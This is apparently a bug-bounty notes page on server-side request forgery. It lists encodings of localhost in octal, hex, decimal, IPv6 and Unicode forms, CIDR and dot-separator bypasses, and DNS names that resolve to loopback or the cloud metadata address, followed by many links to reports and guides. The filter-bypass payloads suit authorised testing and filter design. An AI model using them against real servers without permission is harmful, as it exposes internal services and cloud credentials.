SSRF
CWE-918: Server-Side Request Forgery (SSRF)
Local Host
All IPv4: 0
All IPv6: ::
All IPv4: 0.0.0.0
Localhost IPv6: ::1
All IPv4: 0000
All IPv4: (Leading zeros): 00000000
IPv4 mapped IPv6 address: 0:0:0:0:0:FFFF:7F00:0001
8-Bit Octal conversion: 0177.00.00.01
32-Bit Octal conversion: 017700000001
32-Bit Hex conversion: 0x7f000001
# Localhost
<http://127.0.0.1:80>
<http://127.0.0.1:443>
<http://127.0.0.1:22>
<http://127.1:80>
<http://127.000000000000000.1>
<http://0>
http:@0/ --> <http://localhost/>
<http://0.0.0.0:80>
<http://localhost:80>
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
<http://①②⑦.⓪.⓪.⓪>
# CDIR bypass
<http://127.127.127.127>
<http://127.0.1.3>
<http://127.0.0.0>
# Dot bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821
# Decimal bypass
<http://2130706433/> = <http://127.0.0.1>
<http://3232235521/> = <http://192.168.0.1>
<http://3232235777/> = <http://192.168.1.1>
# Octal Bypass
<http://0177.0000.0000.0001>
<http://00000177.00000000.00000000.00000001>
<http://017700000001>
# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
<http://0x7f000001/> = <http://127.0.0.1>
<http://0xc0a80014/> = <http://192.168.0.20>
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001
# Add 0s bypass
127.000000000000.1
# You can also mix different encoding formats
# <https://www.silisoftware.com/tools/ipconverter.php>
# Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
<http://0/>
<http://127.1>
<http://127.0.1>
# DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
<http://customer1.app.localhost.my.company.127.0.0.1.nip.io>
<http://bugbounty.dod.network> = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1various bypasses
Domain
Cloud Meta Data files
Protocols
Other Test Cases
Host this PHP code after editing discord webhook in your server to get notified whenever there is SSRF
SSRF Bypasses
Resources
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery https://highon.coffee/blog/ssrf-cheat-sheet/ URL Format Bypass - HackTricks SSRF vulnerabilities and where to find them - Detectify Labs
Youtube
https://www.youtube.com/watch?v=U0bPPw6uPgY&t=1s
https://www.youtube.com/watch?v=324cZic6asE
https://www.youtube.com/watch?v=o-tL9ULF0KI
https://www.youtube.com/watch?v=324cZic6asE&t=751s
https://youtu.be/m4BxIf9PUx0
https://youtu.be/apzJiaQ6a3k
Hackerone Reports
https://hackerone.com/hacktivity?order_field=popular&filter=type%3Apublic&querystring=SSRF
https://hackerone.com/reports/737161
https://hackerone.com/reports/816848
https://hackerone.com/reports/398799
https://hackerone.com/reports/382048
https://hackerone.com/reports/406387
https://hackerone.com/reports/736867
https://hackerone.com/reports/517461
https://hackerone.com/reports/508459
https://hackerone.com/reports/738553
https://hackerone.com/reports/514224
https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF
https://hackerone.com/reports/341876
https://hackerone.com/reports/793704
https://hackerone.com/reports/386292
https://hackerone.com/reports/326040
https://hackerone.com/reports/310036
https://hackerone.com/reports/643622
https://hackerone.com/reports/885975
https://hackerone.com/reports/207477
https://hackerone.com/reports/514224
Blogs
https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978
https://medium.com/@kapilvermarbl/ssrf-server-side-request-forgery-5131ffd61c3c
https://medium.com/@zain.sabahat/exploiting-ssrf-like-a-boss-c090dc63d326
https://medium.com/@chawdamrunal/what-is-server-side-request-forgery-ssrf-7cd0ead0d95f
https://medium.com/swlh/ssrf-in-the-wild-e2c598900434
https://medium.com/@briskinfosec/ssrf-server-side-request-forgery-ae44ec737cb8
https://medium.com/@GAYA3_R/vulnerability-server-side-request-forgery-ssrf-9fe5428184c1
https://medium.com/@gupta.bless/exploiting-ssrf-for-admin-access-31c30457cc44
https://medium.com/bugbountywriteup/server-side-request-forgery-ssrf-f62235a2c151
https://medium.com/@dlpadmavathi.us/ssrf-attack-real-example-a7279256abee
https://blog.securityinnovation.com/the-many-faces-of-ssrf
https://www.netsparker.com/blog/web-security/server-side-request-forgery-vulnerability-ssrf/
http://www.techpna.com/uptzh/blind-ssrf-medium.html
https://blog.appsecco.com/finding-ssrf-via-html-injection-inside-a-pdf-file-on-aws-ec2-214cc5ec5d90
http://institutopaideia.com.br/journal/blind-ssrf-medium-cfa769
https://www.reddit.com/r/bugbounty/comments/cux2zs/ssrf_in_the_wild_the_startup_medium/
https://www.sonrn.com.br/blog/5a44cc-blind-ssrf-medium
https://ssrf-bypass-medium.thickkare.pw/
https://hackerone.com/reports/326040
https://www.zerocopter.com/vulnerabilities-price-list-printable
https://medium.com/swlh/intro-to-ssrf-beb35857771f
https://medium.com/poka-techblog/server-side-request-forgery-ssrf-attacks-part-1-the-basics-a42ba5cc244a
https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-3-b0f5997e3739
https://medium.com/bugbountywriteup/server-side-request-forgery-ssrf-testing-b9dfe57cca35
https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-2-a085ec4332c0
https://medium.com/bugbountywriteup/tagged/ssrf
https://medium.com/seconset/all-about-ssrf-524f41ab96df
https://blog.cobalt.io/from-ssrf-to-port-scanner-3e8ef5921fbf
https://portswigger.net/web-security/ssrf
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery
Github Repos
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
https://github.com/jdonsec/AllThingsSSRF
Last updated
Was this helpful?